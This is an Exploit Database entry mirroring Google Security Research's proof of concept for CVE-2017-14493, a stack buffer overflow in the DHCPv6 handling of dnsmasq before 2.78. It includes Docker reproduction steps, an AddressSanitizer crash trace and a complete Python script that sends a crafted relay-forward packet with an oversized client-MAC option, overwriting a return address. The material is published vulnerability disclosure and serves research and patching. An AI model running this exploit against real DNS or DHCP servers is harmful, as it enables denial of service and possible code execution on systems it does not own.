Dnsmasq < 2.78 - Stack Overflow

• Exploit Database
• 12 阅读

• 作者： Google Security Research
  日期： 2017-10-02
• 类别：

  • dos
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/42943/

• '''
  Sources:
  https://raw.githubusercontent.com/google/security-research-pocs/master/vulnerabilities/dnsmasq/CVE-2017-14493.py
  https://security.googleblog.com/2017/10/behind-masq-yet-more-dns-and-dhcp.html
  
  1) Build the docker and open two terminals
  
  docker build -t dnsmasq .
  docker run --rm -t -i --name dnsmasq_test dnsmasq bash
  docker cp poc.py dnsmasq_test:/poc.py
  docker exec -it <container_id> bash
  
  2) On one terminal start dnsmasq:
  
  # /test/dnsmasq_noasn/src/dnsmasq --no-daemon --dhcp-range=fd00::2,fd00::ff
  dnsmasq: started, version 2.78test2-8-ga3303e1 cachesize 150
  dnsmasq: compile time options: IPv6 GNU-getopt no-DBus no-i18n no-IDN DHCP DHCPv6 no-Lua TFTP no-conntrack ipset auth no-DNSSEC loop-detect inotify
  dnsmasq-dhcp: DHCPv6, IP range fd00::2 -- fd00::ff, lease time 1h
  dnsmasq: reading /etc/resolv.conf
  dnsmasq: using nameserver 8.8.8.8#53
  dnsmasq: using nameserver 8.8.4.4#53
  dnsmasq: read /etc/hosts - 7 addresses
  
  
  3) On another terminal start the PoC:
  
  # python /poc.py ::1 547
  [+] sending 70 bytes to ::1:547
  
  4) Dnsmasq will output the following: Segmentation fault (core dumped)
  
  ==33==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffcbef81470 at pc 0x0000004b5408 bp 0x7ffcbef81290 sp 0x7ffcbef80a40
  WRITE of size 30 at 0x7ffcbef81470 thread T0
  #0 0x4b5407 in __asan_memcpy (/test/dnsmasq/src/dnsmasq+0x4b5407)
  #1 0x575d38 in dhcp6_maybe_relay /test/dnsmasq/src/rfc3315.c:211:7
  #2 0x575378 in dhcp6_reply /test/dnsmasq/src/rfc3315.c:103:7
  #3 0x571080 in dhcp6_packet /test/dnsmasq/src/dhcp6.c:233:14
  #4 0x544a82 in main /test/dnsmasq/src/dnsmasq.c:1061:2
  #5 0x7f93e5da62b0 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x202b0)
  #6 0x41cbe9 in _start (/test/dnsmasq/src/dnsmasq+0x41cbe9)
  
  Address 0x7ffcbef81470 is located in stack of thread T0 at offset 208 in frame
  #0 0x57507f in dhcp6_reply /test/dnsmasq/src/rfc3315.c:78
  
  This frame has 1 object(s):
  [32, 208) 'state' <== Memory access at offset 208 overflows this variable
  HINT: this may be a false positive if your program uses some custom stack unwind mechanism or swapcontext
  (longjmp and C++ exceptions *are* supported)
  SUMMARY: AddressSanitizer: stack-buffer-overflow (/test/dnsmasq/src/dnsmasq+0x4b5407) in __asan_memcpy
  Shadow bytes around the buggy address:
  0x100017de8230: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x100017de8240: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x100017de8250: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x100017de8260: f1 f1 f1 f1 00 00 f3 f3 00 00 00 00 00 00 00 00
  0x100017de8270: 00 00 00 00 f1 f1 f1 f1 00 00 00 00 00 00 00 00
  =>0x100017de8280: 00 00 00 00 00 00 00 00 00 00 00 00 00 00[f3]f3
  0x100017de8290: f3 f3 f3 f3 f3 f3 f3 f3 00 00 00 00 00 00 00 00
  0x100017de82a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x100017de82b0: 00 00 00 00 00 00 00 00 00 00 00 00 f1 f1 f1 f1
  0x100017de82c0: 00 00 00 00 00 00 00 00 00 00 00 f2 f2 f2 f2 f2
  0x100017de82d0: 00 00 00 00 00 00 00 f2 f2 f2 f2 f2 00 00 00 00
  Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable: 00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone: fa
  Heap right redzone:fb
  Freed heap region: fd
  Stack left redzone:f1
  Stack mid redzone: f2
  Stack right redzone: f3
  Stack partial redzone: f4
  Stack after return:f5
  Stack use after scope: f8
  Global redzone:f9
  Global init order: f6
  Poisoned by user:f7
  Container overflow:fc
  Array cookie:ac
  Intra object redzone:bb
  ASan internal: fe
  Left alloca redzone: ca
  Right alloca redzone:cb
  ==33==ABORTING
  '''
  
  #!/usr/bin/python
  #
  # Copyright 2017 Google Inc
  #
  # Licensed under the Apache License, Version 2.0 (the "License");
  # you may not use this file except in compliance with the License.
  # You may obtain a copy of the License at
  #
  # http://www.apache.org/licenses/LICENSE-2.0
  #
  # Unless required by applicable law or agreed to in writing, software
  # distributed under the License is distributed on an "AS IS" BASIS,
  # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  # See the License for the specific language governing permissions and
  # limitations under the License.
  #
  # Authors:
  #Fermin J. Serna <fjserna@google.com>
  #Felix Wilhelm <fwilhelm@google.com>
  #Gabriel Campana <gbrl@google.com>
  #Kevin Hamacher <hamacher@google.com>
  #Gynvael Coldwind <gynvael@google.com>
  #Ron Bowes - Xoogler :/
  
  from struct import pack
  import sys
  import socket
  
  def send_packet(data, host, port):
  print("[+] sending {} bytes to {}:{}".format(len(data), host, port))
  s = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
  
  s.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, len(data))
  if s.sendto(data, (host, port)) != len(data):
  print("[!] Could not send (full) payload")
  s.close()
  
  def u8(x):
  return pack("B", x)
  
  def u16(x):
  return pack("!H", x)
  
  def gen_option(option, data, length=None):
  if length is None:
  length = len(data)
  
  return b"".join([
  u16(option),
  u16(length),
  data
  ])
  
  if __name__ == '__main__':
  assert len(sys.argv) == 3, "{} <ip> <port>".format(sys.argv[0])
  pkg = b"".join([
  u8(12), # DHCP6RELAYFORW
  u16(0x0313), u8(0x37),# transaction ID
  b"_" * (34 - 4),
  # Option 79 = OPTION6_CLIENT_MAC
  # Moves argument into char[DHCP_CHADDR_MAX], DHCP_CHADDR_MAX = 16
  gen_option(79, "A" * 74 + pack("<Q", 0x1337DEADBEEF)),
  ])
  
  host, port = sys.argv[1:]
  send_packet(pkg, host, int(port))